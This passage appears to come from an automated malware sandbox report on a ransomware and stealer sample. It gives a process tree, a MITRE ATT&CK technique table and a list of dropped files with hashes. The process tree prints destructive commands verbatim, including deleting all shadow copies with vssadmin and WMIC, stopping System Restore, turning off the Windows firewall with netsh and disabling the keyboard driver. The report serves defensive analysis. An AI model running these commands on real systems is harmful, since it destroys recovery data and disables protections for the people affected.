                                                                PID:3960
                                                              • C:\Windows\System32\vssadmin.exe
                                                                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                2⤵
                                                                • Interacts with shadow copies
                                                                PID:4160
                                                              • C:\Windows\System32\wbem\WMIC.exe
                                                                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                2⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:5364
                                                              • C:\Windows\System32\net.exe
                                                                "C:\Windows\System32\net.exe" stop srservice
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:5420
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 stop srservice
                                                                  3⤵
                                                                    PID:4916
                                                                • C:\Windows\System32\netsh.exe
                                                                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                  2⤵
                                                                  • Modifies Windows Firewall
                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                  PID:1932
                                                                • C:\Windows\System32\sc.exe
                                                                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                                                                  2⤵
                                                                  • Launches sc.exe
                                                                  PID:3220
                                                                • C:\Windows\System32\sc.exe
                                                                  "C:\Windows\System32\sc.exe" stop i8042prt
                                                                  2⤵
                                                                  • Launches sc.exe
                                                                  PID:3436
                                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                1⤵
                                                                  PID:4244
                                                                • C:\Windows\system32\vssvc.exe
                                                                  C:\Windows\system32\vssvc.exe
                                                                  1⤵
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:4608
                                                                • C:\Users\Admin\AppData\Local\Temp\2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                  1⤵
                                                                    PID:1524
                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                    1⤵
                                                                      PID:2320
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k GPSvcGroup
                                                                      1⤵
                                                                        PID:4768
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                        1⤵
                                                                          PID:2568
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                          1⤵
                                                                          • Modifies data under HKEY_USERS
                                                                          PID:2516
                                                                        • C:\Windows\system32\DllHost.exe
                                                                          C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                          1⤵
                                                                            PID:3220

                                                                          Network

                                                                                MITRE ATT&CK Enterprise v16

                                                                                Reconnaissance

                                                                                Resource Development

                                                                                Initial Access

                                                                                Execution

                                                                                Command and Scripting Interpreter

                                                                                4
                                                                                T1059

                                                                                PowerShell

                                                                                1
                                                                                T1059.001

                                                                                Visual Basic

                                                                                1
                                                                                T1059.005

                                                                                Windows Command Shell

                                                                                1
                                                                                T1059.003

                                                                                Scheduled Task/Job

                                                                                1
                                                                                T1053

                                                                                Scheduled Task

                                                                                1
                                                                                T1053.005

                                                                                System Services

                                                                                2
                                                                                T1569

                                                                                Service Execution

                                                                                2
                                                                                T1569.002

                                                                                Windows Management Instrumentation

                                                                                1
                                                                                T1047

                                                                                Persistence

                                                                                Boot or Logon Autostart Execution

                                                                                2
                                                                                T1547

                                                                                Registry Run Keys / Startup Folder

                                                                                2
                                                                                T1547.001

                                                                                Create or Modify System Process

                                                                                4
                                                                                T1543

                                                                                Windows Service

                                                                                4
                                                                                T1543.003

                                                                                Event Triggered Execution

                                                                                2
                                                                                T1546

                                                                                Image File Execution Options Injection

                                                                                1
                                                                                T1546.012

                                                                                Netsh Helper DLL

                                                                                1
                                                                                T1546.007

                                                                                Scheduled Task/Job

                                                                                1
                                                                                T1053

                                                                                Scheduled Task

                                                                                1
                                                                                T1053.005

                                                                                Privilege Escalation

                                                                                Boot or Logon Autostart Execution

                                                                                2
                                                                                T1547

                                                                                Registry Run Keys / Startup Folder

                                                                                2
                                                                                T1547.001

                                                                                Create or Modify System Process

                                                                                4
                                                                                T1543

                                                                                Windows Service

                                                                                4
                                                                                T1543.003

                                                                                Event Triggered Execution

                                                                                2
                                                                                T1546

                                                                                Image File Execution Options Injection

                                                                                1
                                                                                T1546.012

                                                                                Netsh Helper DLL

                                                                                1
                                                                                T1546.007

                                                                                Scheduled Task/Job

                                                                                1
                                                                                T1053

                                                                                Scheduled Task

                                                                                1
                                                                                T1053.005

                                                                                Defense Evasion

                                                                                Direct Volume Access

                                                                                1
                                                                                T1006

                                                                                Impair Defenses

                                                                                3
                                                                                T1562

                                                                                Disable or Modify System Firewall

                                                                                1
                                                                                T1562.004

                                                                                Disable or Modify Tools

                                                                                1
                                                                                T1562.001

                                                                                Indicator Removal

                                                                                2
                                                                                T1070

                                                                                File Deletion

                                                                                2
                                                                                T1070.004

                                                                                Modify Registry

                                                                                3
                                                                                T1112

                                                                                Credential Access

                                                                                Credentials from Password Stores

                                                                                1
                                                                                T1555

                                                                                Credentials from Web Browsers

                                                                                1
                                                                                T1555.003

                                                                                Unsecured Credentials

                                                                                1
                                                                                T1552

                                                                                Credentials In Files

                                                                                1
                                                                                T1552.001

                                                                                Discovery

                                                                                Browser Information Discovery

                                                                                1
                                                                                T1217

                                                                                Process Discovery

                                                                                1
                                                                                T1057

                                                                                Query Registry

                                                                                2
                                                                                T1012

                                                                                System Information Discovery

                                                                                4
                                                                                T1082

                                                                                System Time Discovery

                                                                                1
                                                                                T1124

                                                                                Lateral Movement

                                                                                Collection

                                                                                Data from Local System

                                                                                1
                                                                                T1005

                                                                                Command and Control

                                                                                Exfiltration

                                                                                Impact

                                                                                Defacement

                                                                                1
                                                                                T1491

                                                                                Inhibit System Recovery

                                                                                2
                                                                                T1490

                                                                                Service Stop

                                                                                2
                                                                                T1489

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                scr_20260730_134415.jpg
                                                                                • Path C:\ProgramData\SysUpdate\Scr\scr_20260730_134415.jpg
                                                                                • Size 190KB
                                                                                • SHA256 3945386ad655613b87de19681ec2026f05cb0c4c13f5b000f3ae910cfc813bfb
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                invoice_1.pdf
                                                                                • Path C:\ProgramData\invoice_1.pdf
                                                                                • Size 65KB
                                                                                • SHA256 c1cecc004d0f09276d5f276f09bc2148c6cec2b0d15f4d7a2224e45719b7492d
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                doc_3.pdf
                                                                                • Path C:\SystemVolumeInformation\doc_3.pdf
                                                                                • Size 64KB
                                                                                • SHA256 a8c2f2dac249c85230ab33c413b684b98ba4e799772b0743c1d59855edd18647
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                BookmarkMergedSurfaceOrdering
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                                                                • Size 6B
                                                                                • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                                • MD5 SHA1 SHA512
                                                                                Submit Download

                                                                                the-real-index
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                • Size 312B
                                                                                • SHA256 434781858674db1c211b66f52bb80b47ef4f534c959a409ca94d398b19c82aea
                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                Submit Download

                                                                                messages.json
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
                                                                                • Size 593B
                                                                                • SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                Submit Download

                                                                                craw_background.js
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
                                                                                • Size 531KB
                                                                                • SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                CURRENT
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
                                                                                • Size 16B
                                                                                • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                                                • MD5 SHA1 SHA512
                                                                                Submit Download

                                                                                History
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
                                                                                • Size 160KB
                                                                                • SHA256 3631de1ee4e706aa5cb9e662e5a7a190b172c53b76d83d81703b2c3d883e9831
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                Network Persistent State
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                • Size 6KB
                                                                                • SHA256 0d72d6143d5e16eab798e2aeaad5536647c5879ba5085230a8dffee3048d27b2
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                SCT Auditing Pending Reports
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                • Size 2B
                                                                                • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                • MD5 SHA1 SHA512
                                                                                Submit Download

                                                                                Preferences
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                • Size 11KB
                                                                                • SHA256 0222c8efee6d286fc497d078eff2cfe9d0475a361cade44c47908a8ce3fa8797
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                Preferences
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                • Size 12KB
                                                                                • SHA256 430cc2ec9b5bae7dcf3f3d4fd2cda407210b226379bb6a6aee0a3571c968dbe4
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                Preferences
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                • Size 12KB
                                                                                • SHA256 a22f1ed095e09cd572b637db32bf225c4ca85434d96ed9cdabdf46936b238f6e
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                Secure Preferences
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                • Size 11KB
                                                                                • SHA256 85e93e7c7421935f0911b856282522aa7697c7f7f3e4e91fe9b68bdb1dee2254
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                the-real-index
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                • Size 120B
                                                                                • SHA256 d5ddb1c72ae8fdb6bffe3667deaa4f85459b972ee2d28afdbefb7464aafc9dc2
                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                Submit Download

                                                                                the-real-index
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
                                                                                • Size 72B
                                                                                • SHA256 18075beda4aba2e8a05edf0c284efe971c2f18b992914893892fdd5e5ae2bef5
                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                Submit Download

                                                                                the-real-index~RFe5a1a01.TMP
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe5a1a01.TMP
                                                                                • Size 48B
                                                                                • SHA256 6876e01a52430db7641beaaaa47350b0426e0298b224707933abcda65f8ecf0f
                                                                                • MD5 SHA1 SHA512
                                                                                Submit Download

                                                                                data_0
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
                                                                                • Size 8KB
                                                                                • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                Submit Download

                                                                                data_1
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
                                                                                • Size 264KB
                                                                                • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                Submit Download

                                                                                data_2
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
                                                                                • Size 8KB
                                                                                • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                Submit Download

                                                                                data_3
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
                                                                                • Size 8KB
                                                                                • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                Submit Download

                                                                                MANIFEST-000001
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
                                                                                • Size 41B
                                                                                • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                                                                                • MD5 SHA1 SHA512
                                                                                Submit Download

                                                                                Web Data
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                                                                                • Size 138KB
                                                                                • SHA256 ecf72ffe79672a9242e91b176a5a90c29fbb04db88ed2cc1eaa4c4d19ebae2cd
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                Local State
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                • Size 127KB
                                                                                • SHA256 835db00d678b3dc6ea7c7f49c01b565cbe18e69738a8d62c32e25e626667d0b7
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                Local State
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                • Size 5KB
                                                                                • SHA256 ed4d9aa87ba903707c24d0815c1d07a1f9d8a1f78f67a763f84adbb0c13b3bf0
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                Local State
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                • Size 5KB
                                                                                • SHA256 8bf4ede6d9e1175cd46051a2c5f8b75ebbfcfa83917a00d2eee7987b9ffa9dc0
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                Local State
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                • Size 126KB
                                                                                • SHA256 d77265d95d6279763f75cd61651674609d324b590e523ca1cf16e9f552bde547
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                Local State
                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                • Size 4KB
                                                                                • SHA256 ce714ef4e35177a66dcc8935de61dc7fcd1db3c1425e3eb9879c70f1adc9946c
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                createshortcut.vbs
                                                                                • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                                                • Size 309B
                                                                                • SHA256 8e20d7bb4717fc0e497209cf6bfb1a3945aff57e216a4c9a42bcbb4d5170a921
                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                Submit Download

                                                                                del.bat
                                                                                • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                                                                                • Size 59B
                                                                                • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                Submit Download

                                                                                makelnk.vbs
                                                                                • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                                                • Size 310B
                                                                                • SHA256 f4addaa300f109d0353ab8d4dc441e0685364e5e88181f35c28aea072113fa3f
                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                Submit Download

                                                                                messages.json
                                                                                • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5616_217440164\CRX_INSTALL\_locales\en\messages.json
                                                                                • Size 450B
                                                                                • SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                Submit Download

                                                                                temp_steal.log
                                                                                • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                                                                                • Size 261KB
                                                                                • SHA256 3e8ab1bb409aded3b2da713d9830578ac1991c6896934653d053636f5738a550
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                stolen_data_here.txt
                                                                                • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                                                                                • Size 261KB
                                                                                • SHA256 d5f95d9c1947e672f33a80dbb4332757c7158fef399105109c8a2915dfe6e5b2
                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                Submit Download

                                                                                hosts
                                                                                • Path C:\Windows\system32\drivers\etc\hosts
                                                                                • Size 1KB
                                                                                • SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                Submit Download

                                                                                hosts
                                                                                • Path C:\Windows\system32\drivers\etc\hosts
                                                                                • Size 1KB
                                                                                • SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                Submit Download

                                                                                hosts
                                                                                • Path C:\Windows\system32\drivers\etc\hosts
                                                                                • Size 1KB
                                                                                • SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                Submit Download

                                                                                memory/3960-2413-0x00000220081B0000-0x00000220081B1000-memory.dmp
                                                                                Download

                                                                                memory/4160-375-0x000001B258D20000-0x000001B258D2A000-memory.dmp
                                                                                Download

                                                                                memory/4160-25-0x000001B2588A0000-0x000001B2588C2000-memory.dmp
                                                                                Download

                                                                                memory/4160-237-0x000001B258C60000-0x000001B258D12000-memory.dmp
                                                                                Download

                                                                                memory/4160-223-0x000001B258C40000-0x000001B258C5E000-memory.dmp
                                                                                Download

                                                                                memory/4204-6-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                                                                                Download

                                                                                memory/4204-260-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                                                                                Download

                                                                                memory/4204-11-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                                                                                Download

                                                                                memory/4204-10-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                                                                                Download

                                                                                memory/4204-130-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                                                                                Download

                                                                                memory/4204-7-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                                                                                Download

                                                                                memory/4204-9-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                                                                                Download

                                                                                memory/4204-4-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                                                                                Download

                                                                                memory/4204-647-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                                                                                Download

                                                                                memory/4204-0-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp
                                                                                Download

                                                                                memory/4204-3-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                                                                                Download

                                                                                memory/4204-2-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                                                                                Download

                                                                                memory/4204-1-0x0000000000860000-0x0000000000872000-memory.dmp
                                                                                Download